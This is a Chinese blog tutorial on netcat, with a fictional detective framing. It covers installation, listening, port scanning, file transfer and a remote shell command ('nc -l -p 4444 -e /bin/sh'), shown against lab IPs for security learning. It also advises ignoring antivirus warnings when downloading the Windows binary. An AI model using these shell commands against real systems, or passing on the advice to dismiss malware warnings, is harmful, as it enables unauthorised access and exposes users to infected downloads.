Asun安全学习【安全工具】
上一篇复现了CVE-2023-38831,在复现中途使用了netcat,那么今天就来写一下netcat这个工具。
在一座繁忙的都市中,有一名网络侦探,名叫李明。李明的日常工作是追踪网络犯罪,保护市民的网络信息安全。突然!一天深夜,他接到了一起重要的案件:一个名为“暗网市场”的非法交易网站被黑客攻击,导致大量敏感信息泄露。李明深知时间紧迫,必须尽快找到攻击者并修复漏洞。
李明首先启动了他的工具箱,其中就包括了著名的网络工具——netcat(nc)。这是一款强大的命令行工具,可以用于网络编程、数据传输、端口扫描等多种用途。在这样的紧急情况下,netcat的多功能性将发挥关键作用。
【工具名称】:netcat
【简介】:netcat是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。
【用途】:
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速
【搭建方式】:
LINUX:
大多数Linux中都自带netcat(比如kali),如果没有,可以使用命令进行安装。
这里我以ubuntu为例(Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional):
首先登录ubuntu超级用户
输入命令:apt-get -y install netcat-traditional下载软件包
接着输入update-alternatives --config nc来切换原始nc:
输入2后摁回车键。
接下来输入nc命令,是否成功安装:
发现返回nc的帮助信息,表明nc安装成功。
Linux其他系统还可以通过:
yum install nc
或者是
sudo wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
这两个命令下载。
下载完成后可以输入nc命令进行验证(nc -version 或者 nc -h等等)。
WINDOWS:
这里我以win10为例:
下载地址:https://eternallybored.org/misc/netcat/
点击netcat 1.12连接进行下载(会报毒,无视风险,继续安装就好啦(..>◡<..))
将下载好的压缩包放到一个文件夹里:
然后解压到当前文件夹中:
配置环境变量(在系统->关于->高级系统设置->高级->环境变量、也可以直接在下面搜索框中搜索环境变量):
将刚刚的解压的路径添加进去:
之后打开命令提示符进行测试:(nc -l -p 4444 -v)
打开一个新的命令提示符,输入nc localhost 4444:
会看到第一个命令提示符内已经出现监听连接。在第二个中随意输入(比如helloworld),在第一个中也会出现。
【使用手册】:
使用帮助命令:
常见用法:
(客户端win10IP地址为:172.22.72.143
服务端kaliIP地址为:172.22.72.177。)
1、nc -lvp 4444
监听端口,服务端将在本地的 4444 端口上监听传入的连接,并呈现在当前终端中:
2、nc 172.22.72.177 4444
尝试连接到 IP 地址为 172.22.72.177 的主机的 1234 端口
Win10机器中输入命令:nc 172.22.72.177 4444:
同时在kali中,监听的端口有回应:
3、nc -vz 172.22.72.143 1-100
端口扫描扫描win10主机172.22.72.143中1到100端口:
4、nc 172.22.72.177 4444 > file.txt
发送文件,向kali主机172.22.72.177中的4444端口发送文件file.txt:
nc -l -p 4444 < file.txt
接受文件。从主机4444端口接受file.txt文件。
5、反弹shell
nc -l -p 4444 -e /bin/sh
在服务端监听端口,等待连接,一旦连接建立,执行 shell。
nc -nv 172.22.72.177 4444
在客户端连接到服务端,获取 shell。
6、其他用法
语法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参 数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
以上就是netcat的基本用法,当然,它还可以做到更多更多。感谢大家观看,如果对大家帮助,麻烦大家点点赞!!!
同样,如果大家有更好的建议,欢迎大家进行评论指出和点评,我会尽力去修改和完善。
参考连接:
https://blog.csdn.net/zhangke1985/article/details/107258859
彻底弄懂netcat命令的使用_netcat命令详解-CSDN博客
windows环境安装nc(netcat)命令 - 竹堑 - 博客园 (cnblogs.com)